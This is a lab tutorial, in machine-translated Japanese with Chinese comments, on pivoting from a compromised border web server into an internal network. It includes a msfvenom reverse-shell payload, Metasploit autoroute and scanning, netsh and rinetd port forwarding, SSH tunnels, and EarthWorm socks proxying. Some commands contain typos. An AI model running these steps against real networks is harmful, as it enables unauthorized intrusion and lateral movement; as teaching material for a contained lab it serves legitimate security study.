1.シンプルな環境構築
1つのVPS、1つの境界サーバーOWASP、1つの内部サーバーUbuntuサーバー
ネットワークトポロジを次の図に示します。
環境の展開に関しては、OWSAPサーバーに2つのネットワークカードをセットアップします。1つは外部IP用で、もう1つは内部IP用です。
# 具体配置在/etc/network/interface
# 这里设置静态IP
auto eth0
iface eth0 inet static
address 192.168.101.100
netmask 255.255.255.0
gateway 192.168.101.2
auto eth1
iface eth1 inet static
address 192.168.100.100
netmask 255.255.255.0
目標:OWASP WEBサーバーのシェルを取得した後、Ubuntuサーバーサーバーを検出してアクセスする方法(VPSでの操作用)
いくつかの一般的な方法:
1、使用Metasploit框架,设置OWASP服务器自动路由。(将获取到的边界主机作为路由器)
2、使用端口转发的技术,将OWASP的某个端口转发到内网服务器的相应端口从而进行访问。
3、使用正向代理技术,通过OWASP服务器去访问内网服务器。
2、Metasploitはルーティングを設定します
既存のファイルアップロードの脆弱性を使用して、生成されたトロイの木馬をアップロードしてから、監視してシェルを取得します。
ここでは、msfvenomを使用してLinuxホースを生成します。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.101.100 LPOST=9999 -f elf -o ./shell
生成されたシェルをアップロードすると、VPSはmsfconsoleを開きます
# 使用linux/x86/meterpreter/reverse_tcp模块监听端口
use linux/x86/meterpreter/reverse_tcp
# 设置主机和端口
set LHOST 192.168.101.100
set LPORT 9999
ターゲットホストでシェルバイナリファイルを実行すると、VPSはセッションを取得します。
# 执行post/multi/autoroute,将目标主机作为路由
# 通过run autoroute -p可以查看路由
# 将此会话放到后台background
次に、auxiliary / sacnner / Discovery / arp_sweepモジュールを使用して、イントラネット上のライブホストをスキャンします
use auxiliary/scanner/discovery/arp_sweep
# 设置扫描的目标,这里扫描内网主机
set RHOSTS 192.168.100.0/24
イントラネット内のライブホストのオープンサービスをスキャンするには、auxiliary / scanner / portscan / tcpを使用できます。
use auxiliary/scanner/portscan/tcp
# 设置目标主机ip,选取存活主机或者直接网段扫描
set rhosts 192.168.100.101
3、ポート転送とマッピング
ポート転送を介してイントラネットに入ります。シェルホストのポートにアクセスし、このポートのトラフィックをイントラネットの特定のポートに転送します。
1.Windowsでのポート転送
(構築環境では、ホストは3つの仮想マシンに直接アクセスできますが、VPSはイントラネット内のUbuntuサーバーに直接アクセスできません)
netshツールを使用してポート転送を行います。
# 配置监听端口和转发端口
netsh interface portproxy add v4tov4 listenaddress=ip listenport=port connectaddress=target_ip connectport=target_port
# 查看配置完成的转发规则
netsh interface protproxy show v4tov4
# 清除转发规则信息
netsh interface protproxt reset
実験をしてみましょう。ホストのポート9999にアクセスし、トラフィックをOWASPサーバーのポート80に転送します。
# 在主机Win10中设置转发规则
netsh interface portproxy add v4tov4 listenaddress=192.168.0.102 listenport=9999 connectaddress=192.168.101.100 connectport=80
VPSを介してホストのポート9999にアクセスすると、トラフィックがOWASPサーバーのポート80に転送され、OWASPメインページに戻ります。
2.Linuxでのポート転送
Rinetdツール
ポート転送ツールRinetd:https://github.com/boutell/rinetd.git
# 安装,以root权限
git clone https://github.com/boutell/rinetd.git
# 进入rinetd目录
make && make install
構成ファイルを使用して、リスニングポートと転送ホストおよびポートを構成します
# /etc/rinetd.conf
# bindaddress bindport connectaddress connectport
# 启动服务器
rinetd -c /etc/rinetd.conf
VPSを踏み台として使用して、VPSポート7777のトラフィックをOWASPサーバーポート80に転送し、ホストを介してVPSポート7777にアクセスします。/etc/rinetdの構成は次のとおりです。
# bindaddress bindport connectaddress connectport
192.168.101.130 7777 192.168.101.100 80
# 执行
rinetd -c /etc/rinetd.conf
ホストを使用して192.168.101.130:7777にアクセスすると、OWASPサーバーのポート80ページに戻ります。
SSHトンネルテクノロジー
SSHサーバーを介して、ポート転送も可能です-SSHトンネルとも呼ばれます
(1)ローカルSSHトンネルを確立する
中間SSHサーバーを介したイントラネットへのアクセスは、ファイアウォールの制限を回避できます。(SSHサーバーを内部ネットワークにアクセスするための出発点として使用します)
使用されるコマンドは次のとおりです。
ssh -g -L LPORT:RHOST:RPORT -fN LHOST
# -L参数表示做本地的端口映射:RHOST和RPORT是目标主机和端口,LPORT是SSH服务器的端口
# -f参数表示SSH客户端在后台运行
# -N参数表示该连接不做任何操作,仅用于端口转发
# -g参数表示允许外来主机连接本地转发端口(不指定的话只允许本地连接)
実験例:VPSでローカルSSHトンネルを確立し、OWASPサーバーをSSHサーバーとして使用し、ポートマッピングを実行し、イントラネットのポート80をローカルポート9000にマップします。
# VPS IP地址为192.168.101.130
# Ubuntu Server IP地址为192.168.100.101
# OWASP服务器IP地址为192.168.101.100
# 在VPS上,以OWASP服务器作为跳板,做本地SSH隧道
ssh -L 9000:192.168.100.101:80 -fN 192.168.101.100
(SSHサーバーとしてOWASPを使用します。OWASPパスワードを知っている必要があります)
リスニングポートを確認すると、ポート9000がローカルで監視され、ポート9000がローカルでアクセスされ、最後にトラフィックがイントラネットホストのポート80に転送されていることがわかります。
(2)リモートSSHトンネルを確立する
リモートSSHトンネルは通常、外部ネットワークが内部ネットワークにアクセスできないが、内部ネットワークが外に出る可能性がある場合に使用されます。外部ネットワークのホストに内部ネットワークへのアクセスを許可する方法です。
次の状況を考慮してください。
ファイアウォールの制限により、ホスト1は外部ホストにアクセスできますが、外部ホストからのトラフィックはホスト1に入ることができません。
この場合、ホスト1にリモートSSHトンネルを作成できます。つまり、外部ネットワークホストとホスト1の間にSSHトンネルを確立できます。
ssh -R 9999:192.168.100.101:80 -fN 192.168.101.128
このようにして、リモートポート9999はイントラネット192.168.100.101のポート80にマップされます。
(9999は、ホスト1を基準にしたリモートポートです。ポート9999は、外部ネットワークのホストポートです)
ローカルSSHトンネルは、境界ホストを踏み台として使用して、イントラネットホストへのアクセスを実現します。リモートSSHトンネルは、外部ネットワークが内部ネットワークにアクセスできない場所で使用されます。内部ネットワークホストを制御することにより、外部ネットワークとのSSHトンネルが確立されます。
4、エージェントテクノロジー
プロキシは、フォワードプロキシとリバースプロキシに分けられます。
フォワードプロキシ:クライアントプロキシ(VPNなど)
リバースプロキシ:サーバー側プロキシ(負荷分散など)
イントラネットセキュリティでは、フォワードプロキシがより頻繁に使用されます。イントラネットホストにアクセスするためのプロキシとして中間ホストを使用します。
Socks5プロキシ:簡単な理解は、処理を行わずにトラフィックを転送することです
EarthWormツール
ネット内侵入アーティファクト:http://github.com/idlefire/ew
# rcsocks客户端,监听端口以及转发端口
# rsscoks服务端,指定连接的主机以及端口
次の実験を行います。OWSAPサーバーをプロキシサーバーとして使用し、VPSをクライアントとして使用してイントラネットUbuntuサーバーにアクセスします。
VPSクライアントで次のコマンドを実行します。
# 本地监听1080端口,转发端口设置为10000
./ew_for_linux64 -s rcsocks -l 1080 -e 10000
# vim /etc/proxychains.conf 全局代理配置
# 添加监听的主机以及端口(添加自己主机IP和端口)
socks5 192.168.101.128 1080
次に、OWASPでサーバーを開きます。
# 连接客户端主机的10000端口
./ew_for_Linux32 -s rssocks -d 192.168.101.128 -e 10000
イントラネットサーバーにアクセスするようにブラウザーでsocks5プロキシを構成します
SSHエージェント
SSHをプロキシとして使用することも比較的簡単です。-Dパラメータを使用してください
# 指定本地监听端口以及ssh服务器(将ssh服务器作为代理服务器)
ssh -D lport Rhost
上記と同様に、OWASPサーバーをプロキシサーバーとして、VPSはsshコマンドを実行します
ssh -D 1080 [email protected]
ブラウザ(ホスト127.0.0.1)でsocks5プロキシを設定すると、イントラネットサーバーにアクセスできます。